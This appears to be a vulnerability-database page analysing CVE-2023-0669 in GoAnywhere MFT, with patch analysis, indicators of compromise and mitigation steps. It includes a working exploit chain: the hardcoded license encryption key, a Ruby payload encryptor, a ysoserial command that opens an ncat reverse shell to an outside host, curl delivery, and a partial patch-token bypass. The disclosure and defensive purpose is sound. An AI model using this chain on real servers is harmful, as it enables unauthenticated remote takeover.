Very High
CVE-2023-0669
CVE-2023-0669
Description
Fortra (formerly, HelpSystems) GoAnywhere MFT suffers from a pre-authentication command injection vulnerability in the License Response Servlet due to deserializing an arbitrary attacker-controlled object. This issue was patched in version 7.1.2.
Add Assessment
Technical Analysis
This is currently unpatched and vulnerable in the default state. The time from reading the mitigation to having a working exploit was less than day, and that’s for somebody who isn’t super good at Java vulnerabilities.
Technical Analysis
Observed in attack by our IR team, who we believe is part of the Cl0p ransomware operation.
[update]
A July 2024 bulletin from multiple U.S. government agencies indicates that North Korean state-sponsored attackers have demonstrated interest in this vulnerability — not immediately clear whether it was exploited or just used in reconnaissance/target selection: https://www.cisa.gov/news-events/cybersecurity-advisories/aa24-207a
CVSS V3 Severity and Metrics
General Information
Vendors
- fortra
Products
- goanywhere managed file transfer
Metasploit Modules
References
Exploit
A PoC added here by the AKB Worker must have at least 2 GitHub stars.
Miscellaneous
Technical Analysis
Description
On February 1, 2023, Fortra (formerly HelpSystems) posted a security advisory for a remote pre-authentication remote code execution vulnerability in their GoAnywhere MFT managed file transfer solution. The advisory requires a (free) account in order to view; notably, hiding security advisories behind a customer portal is something we heavily discourage. It’s optimal when this type of information is public so users can stay informed and protect themselves as easily as possible.
As of this writing, no patch is available, but Fortra has posted steps to mitigate the issue by disabling the licensing service.
Based on the mitigations published by Fortra, we confirmed that this is a pre-authentication deserialization issue. To exploit the vulnerability, you either need network-level access to GoAnywhere MFT’s administration port (by default, port 8000), but this can also be exploited via an internal user’s browser, as we’ll demonstrate below.
Updated on 2023-02-13
On February 7, 2023, Fortra released version 7GoAnywhere MFT 7.1.2 to resolve this issue. We added an analysis of the patch below.
Technical analysis
The vendor’s advisory was helpful, since it points to the vulnerable endpoint:
<servlet> <servlet-name>License Response Servlet</servlet-name> <servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class> <load-on-startup>0</load-on-startup> </servlet> <servlet-mapping> <servlet-name>Licenses Response Servlet</servlet-name> <url-pattern>/lic/accept/</url-pattern>
Using the jadx Java decompiler, we decompiled their application and found LicenseResponseServlet:
public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException { Response response = null; try { response = LicenseAPI.getResponse(httpServletRequest.getParameter(LicenseServer.BUNDLE_PARAM)); } catch (Exception e) { LOGGER.error("Error parsing license response", (Throwable) e); httpServletResponse.sendError(500); } httpServletRequest.getSession().setAttribute(LicenseServer.RESPONSE_PARAM, response); httpServletRequest.getSession().setAttribute(SessionAttributes.SESSION_GOTO_OUTCOME.getAttributeKey(), ADMIN_LICENSE_OUTCOME); httpServletResponse.sendRedirect(httpServletRequest.getScheme() + "://" + httpServletRequest.getServerName() + ":" + httpServletRequest.getServerPort() + "/goanywhere/admin/License.xhtml"); } public void doGet(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException { doPost(httpServletRequest, httpServletResponse); }
From that, we know it’s a GET or POST request, uses the parameter LicenseServer.BUNDLE_PARAM (which is bundle), and the logic in LicenseAPI.getResponse(), which simply calls LicenseController.getResponse():
/* JADX INFO: Access modifiers changed from: protected */ public static Response getResponse(String str) throws BundleException, JAXBException { return (Response) inflate(BundleWorker.unbundle(str, getProductKeyConfig(getVersion(str))), Response.class); // getVersion will be 2 }
The getProductKeyConfig() code isn’t important, so let’s look at BundleWorker.unbundle():
/* JADX INFO: Access modifiers changed from: protected */ public static String unbundle(String str, KeyConfig keyConfig) throws BundleException { try { if (!"1".equals(keyConfig.getVersion())) { str = str.substring(0, str.indexOf("$")); } return new String(decompress(verify(decrypt(decode(str.getBytes(StandardCharsets.UTF_8)), keyConfig.getVersion()), keyConfig)), StandardCharsets.UTF_8); } catch (CryptoException e) { // [...] } }
The important line is the last one in the try block. First, it calls decode(), which is base64 decoding:
private static byte[] decode(byte[] bArr) { return Base64.decodeBase64(bArr); }
Then it passes that into decrypt(), which, through several abstractions, eventually uses the following encryption configuration in com.linoma.license.gen2.LicenseEncryptor:
private static final byte[] IV = {65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100}; // [...] public void initialize(boolean z) throws Exception { if (!z) { this.encryptor = new Encryptor(new StandardEncryptionEngine(getInitializationValue(), IV, "AES", "AES/CBC/PKCS5Padding")); } this.encryptorV2 = new Encryptor(new StandardEncryptionEngine(getInitializationValueV2(), IV, "AES", "AES/CBC/PKCS5Padding")); this.initialized = true; } private byte[] getInitializationValue() throws Exception { return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String("go@nywhereLicenseP@$$wrd".getBytes(), "UTF-8").toCharArray(), new byte[]{-19, 45, -32, -73, 65, 123, -7, 85}, 9535, 256)).getEncoded(); } private byte[] getInitializationValueV2() throws Exception { return SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String("pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R".getBytes(), "UTF-8").toCharArray(), new byte[]{99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73}, 3392, 256)).getEncoded(); }
The V2 variation of the function is what we’ll use. It generates a key based on a static string. We simply ran that function in our own Java application to pull that string out:
$ cat Test.java import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; public class Test { public static void main(String[] args) throws Exception { byte []iv = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1").generateSecret(new PBEKeySpec(new String("pFRgrOMhauusY2ZDShTsqq2oZXKtoW7R".getBytes(), "UTF-8").toCharArray(), new byte[]{99, 76, 71, 87, 49, 74, 119, 83, 109, 112, 50, 75, 104, 107, 56, 73}, 3392, 256)).getEncoded(); System.out.write(iv); } } $ javac Test.java && java Test | hexdump -C 00000000 0e 69 a3 83 9b 6e cf 45 64 9b 86 1f 4a 27 17 1b |.i...n.Ed...J'..| 00000010 66 87 0c 95 67 a4 14 4e ba f3 d5 2f dc 40 64 ca |f...g..N.../.@d.|
That’s the encryption key that the licensing bundle is encrypted with. The IV is hardcoded, and is the literal string "AES/CBC/PKCS5Pad". Based on the key length, we know it’s AES-256. With all this in mind, we can encrypt our own licensing blob:
require 'base64' require 'openssl' PAYLOAD = File.read(ARGV[0]) KEY = "\x0e\x69\xa3\x83\x9b\x6e\xcf\x45\x64\x9b\x86\x1f\x4a\x27\x17\x1b\x66\x87\x0c\x95\x67\xa4\x14\x4e\xba\xf3\xd5\x2f\xdc\x40\x64\xca" IV = "AES/CBC/PKCS5Pad" cipher = OpenSSL::Cipher::AES.new('256-CBC') cipher.encrypt cipher.iv = IV cipher.key = KEY encryptedObject = cipher.update(PAYLOAD) + cipher.final print Base64::urlsafe_encode64(encryptedObject)
Once the decrypt() function completes, the unbundle() function passes the decrypted stream into verify():
private static byte[] verify(byte[] bDecryptedObject, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException { ObjectInputStream objectInputStream = null; try { String str = JCAConstants.SIGNATURE_DSA_SHA1; if ("2".equals(keyConfig.getVersion())) { str = JCAConstants.SIGNATURE_RSA_SHA512; } PublicKey publicKey = getPublicKey(keyConfig); ObjectInputStream objectInputStream2 = new ObjectInputStream(new ByteArrayInputStream(bDecryptedObject)); SignedObject signedObject = (SignedObject) objectInputStream2.readObject(); if (!signedObject.verify(publicKey, Signature.getInstance(str))) { throw new IOException("Unable to verify signature!"); } byte[] data = ((SignedContainer) signedObject.getObject()).getData(); if (objectInputStream2 != null) { objectInputStream2.close(); } return data; } catch (Throwable th) { if (0 != 0) { objectInputStream.close(); } throw th; } }
That code loads the decrypted object as a Java object, specifically a SignedObject; however, the objectInputStream2.readObject() call is enough to know that this is a deserialization issue. So we can generate a payload with ysoserial:
$ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutils1 "ncat -e /bin/bash 10.0.0.179 4444" > payload.ser
Then we encrypt it with our PoC tool and send with curl (the $2 is a version number; version 1 has a different key, but is otherwise essentially the same):
$ curl -ikX POST 'http://10.0.0.219:8000/goanywhere/lic/accept?bundle='$(ruby ./poc-cve-2023-0669.rb ./payload.ser)'$2' > /dev/null
And, sure enough, we get a shell back:
$ nc -v -l -p 4444 [...] Ncat: Connection from 10.0.0.219. Ncat: Connection from 10.0.0.219:46832. whoami ron
Cross-site request forgery
The way this licensing code is supposed to work is:
- The administrator installs GoAnywhere MFT with no license
- When the administrator visits their installation, they’re sent to an internet URL, https://my.goanywhere.com/lic/request?bundle=p55wfyVKXDVM_bAVZtD[…]
- The user authenticates and selects their license and everything
- my.goanywhere.com redirects the user back to their server, on the endpoint
/goanywhere/lic/accept, with thebundle=parameter set to the encrypted and serialized license object (that we saw earlier). The redirect looks something like:
HTTP/2 302 Found Date: Fri, 03 Feb 2023 21:25:04 GMT Content-Length: 0 Location: http://10.0.0.219:8000/goanywhere/lic/accept?bundle=p55[...]A$2 Strict-Transport-Security: max-age=31536000;includeSubDomains X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-Xss-Protection: 1; mode=block Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: oam.Flash.RENDERMAP.TOKEN=174z370fjp; Path=/; Secure; HttpOnly Cf-Cache-Status: DYNAMIC Server: cloudflare Cf-Ray: 793e3caaef30c36e-SEA
And sends the user to:
GET /goanywhere/lic/accept?bundle=p55[...]A$2 HTTP/1.1 Host: 10.0.0.219:8000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:104.0) Gecko/20100101 Firefox/104.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: ASESSIONID=7323629B297CCCF064A4DD729FB39259; oam.Flash.RENDERMAP.TOKEN=mbh72tm61; RSESSIONID=B6F99157BC687B76E05193E687EFB336; admin_language=en Upgrade-Insecure-Requests: 1
The administrator’s server decrypts, loads, and verifies the license, and the server is either licensed (or isn’t).
Note that there is no CSRF protection (and the cookie is not actually required, so no authentication is required to exploit this issue). That means that this can, by design, be exploited via cross-site request forgery—based on how the licensing works, the user is supposed to be redirected to that endpoint by a server that’s not on their network.
What all this means is that a sufficiently clever attacker who is familiar with the target network can target a user with network-level access to the administration port, and redirect the user’s browser (via an open redirect or phishing message or something else) to the vulnerable server.
Patch Analysis
On February 7, 2023, Fortra released a patch – version 7.1.2 for both Linux and Windows. If we try to run our Metasploit module against the patched version, we get an HTTP/400 error:
msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set RHOSTS 10.0.0.219 RHOSTS => 10.0.0.219 msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > set LHOST 10.0.0.179 LHOST => 10.0.0.179 msf6 exploit(multi/http/fortra_goanywhere_rce_cve_2023_0669) > exploit [*] Started reverse TCP handler on 10.0.0.179:4444 [-] Exploit aborted due to failure: unexpected-reply: Expected the server to return HTTP/500, instead received HTTP/400 [*] Exploit completed, but no session was created.
In the logs, we can see that the request was rejected due to being from an “invalid session”:
2/8/23, 2:31:49 PM ERROR An error occurred while processing the request URI '/goanywhere/lic/accept/0ec5b0f4-c0a7-4df9-abfd-e9ccff5c5e89' from the ip address '10.0.0.179'. The HTTP status code is '500' 2/8/23, 2:53:24 PM ERROR Unauthorized bundle from invalid session: _ej
Looking at the LicenseResponseServlet class again, we see where that error message came from:
public class LicenseResponseServlet extends HttpServlet { // [...] public void doPost(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws ServletException, IOException { String parameter = httpServletRequest.getParameter(LicenseServer.BUNDLE_PARAM); String[] split = httpServletRequest.getRequestURI().split("/"); if (!SessionUtilities.isLicenseRequestTokenValid(split[split.length - 1], httpServletRequest.getSession())) { LOGGER.error("Unauthorized bundle from invalid session: " + parameter); httpServletResponse.sendError(400); httpServletRequest.getSession().removeAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey()); return; } // [...] } // [...] }
The new code in SessionUtilities.isLicenseRequestTokenValid() checks a random UUID that is generated when performing the licensing request and stored in the session:
public static boolean isLicenseRequestTokenValid(String str, HttpSession httpSession) { if (httpSession != null) { String str2 = (String) httpSession.getAttribute(SessionAttributes.LICENSE_REQUEST_TOKEN.getAttributeKey()); if (str != null && str.equals(str2)) { return true; } return false; } return false; }
That token is basically an anti-CSRF token, and is sent to the server as part of the encrypted bundle. But because the bundle is symmetrically encrypted, we can actually get access to that value. We can get the encrypted bundle from a new server (with no license installed) by requesting the manual activation page:
$ curl 'http://10.0.0.219:8000/goanywhere/license/ManualLicense.xhtml' [...] p55wfyVKXDVM/bAVZtDLOg[.......]$2 [...]
That page isn’t accessible (anonymously) once a license has been installed, though. But after trying different requests, we noticed that you can append a character to the Unlicensed.xhtml page to view it even after licensing the server. Here’s an example, where we changed the page to Unlicensed.xhtmlx:
$ curl -i 'http://10.0.0.219:8000/goanywhere/license/Unlicensed.xhtmlx?GARequestAction=activate' HTTP/1.1 302 [...] Set-Cookie: ASESSIONID=CE484D19BEF02A4C4093EFA1F5626B54; Path=/goanywhere; HttpOnly Location: https://my.goanywhere.com:443/lic/request?bundle=p55wfyVKXDVM/bAVZtDLOg[.......]$2 Content-Length: 0 Date: Wed, 08 Feb 2023 23:36:58 GMT
The bundle parameter in the Location header is the encrypted bundle. We wrote some Java code that uses GoAnywhere MFT’s own libraries to decrypt it:
import com.linoma.license.gen2.*; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.InputStream; import java.io.ObjectInputStream; import java.nio.charset.StandardCharsets; import java.security.SignedObject; import java.util.zip.GZIPInputStream; import org.apache.commons.codec.binary.Base64; import org.apache.commons.io.IOUtils; public class DecodeBundle { public static void main(String[] args) throws Exception { // Initialize the encryption code LicenseEncryptor.getInstance().initialize(true); // Decode the base64 byte []decoded = Base64.decodeBase64(args[0].getBytes(StandardCharsets.UTF_8)); // Decrypt the AES byte []decrypted = LicenseEncryptor.getInstance().decrypt(decoded, "2"); // Unwrap the data that's in a SignedObject and SignedContainer ObjectInputStream secureObjectInputStream = new ObjectInputStream(new ByteArrayInputStream(decrypted)); SignedObject signedObject = (SignedObject) secureObjectInputStream.readObject(); byte[] data = ((SignedContainer) signedObject.getObject()).getData(); // Uncompress GZIPInputStream gZIPInputStream = new GZIPInputStream(new ByteArrayInputStream(data)); ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); IOUtils.copy(gZIPInputStream, byteArrayOutputStream); byte []uncompressed = byteArrayOutputStream.toByteArray(); // Display System.out.write(uncompressed); } }
It has to be compiled and executed using GoAnywhere MFT’s .jar files in order to access the functions:
$ export CP=".:GoAnywhere-7.1.2/lib/licenseapi-2.0-4.0.1.jar:GoAnywhere-7.1.2/lib/linoma-security-commons-1.0.0.jar:GoAnywhere-7.1.2/lib/commons-io-2.11.0.jar:GoAnywhere-7.1.2/lib/commons-codec-1.15.jar:GoAnywhere-7.1.2/lib/linoma-security-core-1.0.0.jar" $ javac -cp $CP DecodeBundle.java && java -cp $CP DecodeBundle "p55[...]k" <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <request v="2" t="1"> <r> <process>http://10.0.0.219:8000/goanywhere/lic/accept/5bc7e61c-b3ac-4ec4-82d6-21d51213675a</process> <cancel>http://10.0.0.219:8000/goanywhere/license/Unlicensed.xhtml</cancel> </r> <p c="1" v="7.1.2"/> <s os="Linux"> <u>00-0C-29-47-38-B5</u> </s> </request>
It successfully decrypted the token, giving us a <process> and <cancel> link. The <process> link specifically contains the full URL you need to successfully pass the new LICENSE_REQUEST_TOKEN check. Here’s how we can send the same payload (note that we also need the session ID cookie – ASESSIONID):
$ curl -ib 'ASESSIONID=CE484D19BEF02A4C4093EFA1F5626B54' -ik 'http://10.0.0.219:8000/goanywhere/lic/accept/d2d80248-5013-41b8-8cbf-1c1ca9bc3541?bundle='$(ruby ./poc-cve-2023-0669.rb ./payload.ser)'$2' HTTP/1.1 500 X-UA-Compatible: IE=edge [...]
With that change, we are now back to the HTTP/500 error from earlier! But in the logs, we see a new error:
com.linoma.license.gen2.BundleException: Class name not accepted: java.util.PriorityQueue at com.linoma.license.gen2.BundleWorker.unbundle(BundleWorker.java:136) at com.linoma.license.gen2.LicenseController.getResponse(LicenseController.java:441) at com.linoma.license.gen2.LicenseAPI.getResponse(LicenseAPI.java:304) [...] Caused by: java.io.InvalidClassException: Class name not accepted: java.util.PriorityQueue at org.apache.commons.io.serialization.ValidatingObjectInputStream.invalidClassNameFound(ValidatingObjectInputStream.java:95) at org.apache.commons.io.serialization.ValidatingObjectInputStream.validateClassName(ValidatingObjectInputStream.java:82) at org.apache.commons.io.serialization.ValidatingObjectInputStream.resolveClass(ValidatingObjectInputStream.java:100)
That led us to look more closely at the BundleWorker.validate() function:
private static byte[] verify(byte[] bArr, KeyConfig keyConfig) throws IOException, ClassNotFoundException, NoSuchAlgorithmException, InvalidKeyException, SignatureException, UnrecoverableKeyException, CertificateException, KeyStoreException { ObjectInputStream secureObjectInputStream = getSecureObjectInputStream(bArr, SignedObject.class, byte[].class); try { String str = JCAConstants.SIGNATURE_DSA_SHA1; if ("2".equals(keyConfig.getVersion())) { str = JCAConstants.SIGNATURE_RSA_SHA512; } PublicKey publicKey = getPublicKey(keyConfig); SignedObject signedObject = (SignedObject) secureObjectInputStream.readObject(); if (!signedObject.verify(publicKey, Signature.getInstance(signatureType))) { throw new IOException("Unable to verify signature!"); } byte[] data = ((SignedContainer) signedObject.getObject()).getData(); if (secureObjectInputStream != null) { secureObjectInputStream.close(); } return data; } catch (Throwable th) { // [...] } }
getSecureObjectInputStream returns an instance of org.apache.commons.io.serialization.ValidatingObjectInputStream that only permits two classes to be deserialized: SignedObject and byte[]. The first thing it does after creating the SignedObject is to verify it, using a publicKey that’s decrypted from a local keystore. We verified that we don’t have the associated private key, nor can we modify fields in SignedObject to force the verify() call to pass, so this signature check appears to prevent further exploitation.
So in the end, we were able to bypass the new LICENSE_REQUEST_TOKEN requirement, but the ValidatingObjectInputStream and SignedObject prevents a malicious object from being deserialized.
IOCs
The vendor’s advisory suggests the following:
Search the userdata/logs/[system_name]-goanywhere.log files on your system. NOTE: By default there are 10 logs that are archived when a log size reaches 5 MB. [system_name] represents each system or node in your cluster. You should search all of these 10 archive logs for all systems/nodes in your cluster. Standalone (non-HA) logs will be goanywhere.log, goanywhere.log1, goanywhere.log2, etc.) The search term should be for the following line: java.lang.RuntimeException: InvocationTargetException: java.lang.reflect.InvocationTargetException at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:171) at java.util.PriorityQueue.siftDownUsingComparator(PriorityQueue.java:721) at java.util.PriorityQueue.siftDown(PriorityQueue.java:687) at java.util.PriorityQueue.heapify(PriorityQueue.java:736) at java.util.PriorityQueue.readObject(PriorityQueue.java:796)
We confirmed that that’s the error that our proof of concept generates, as well. Keep in mind, however, that the attacker can delete that logfile if they choose.
Guidance
As of writing, this issue is not patched, and therefore all installations are vulnerable. Ensuring that network-level access to the administrator port is restricted to the least number of users possible is good; however, because this can be exploited via a user’s browser, it only raises the bar.
The vendor advises that user’s remove access to the vulnerable endpoint in their web.xml file:
- Disable the LicenseResponseServlet as follows: - On the file system where GoAnywhere MFT is installed, edit the file [install_dir]/adminroot/WEB-INF/web.xml - Find and remove (delete or comment out) the following servlet and servlet-mapping configuration in the screenshot below. **Before:** <servlet> <servlet-name>License Response Servlet</servlet-name> <servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class> <load-on-startup>0</load-on-startup> </servlet> <servlet-mapping> <servlet-name>License Response Servlet</servlet-name> <url-pattern>/lic/accept</url-pattern> </servlet-mapping> **After:** <!-- Add these tags to comment out the following section (as shown) or simply delete this section if you are not familiar with XML comments --> <!-- <servlet> <servlet-name>License Response Servlet</servlet-name> <servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class> <load-on-startup>0</load-on-startup> </servlet> <servlet-mapping> <servlet-name>License Response Servlet</servlet-name> <url-pattern>/lic/accept</url-pattern> </servlet-mapping> --> - Restart the GoAnywhere MFT application.
We confirmed that the mitigation steps work.
References
- Advisory (requires you to create an account)
- Rapid7 Blog
- frycos’ writeup
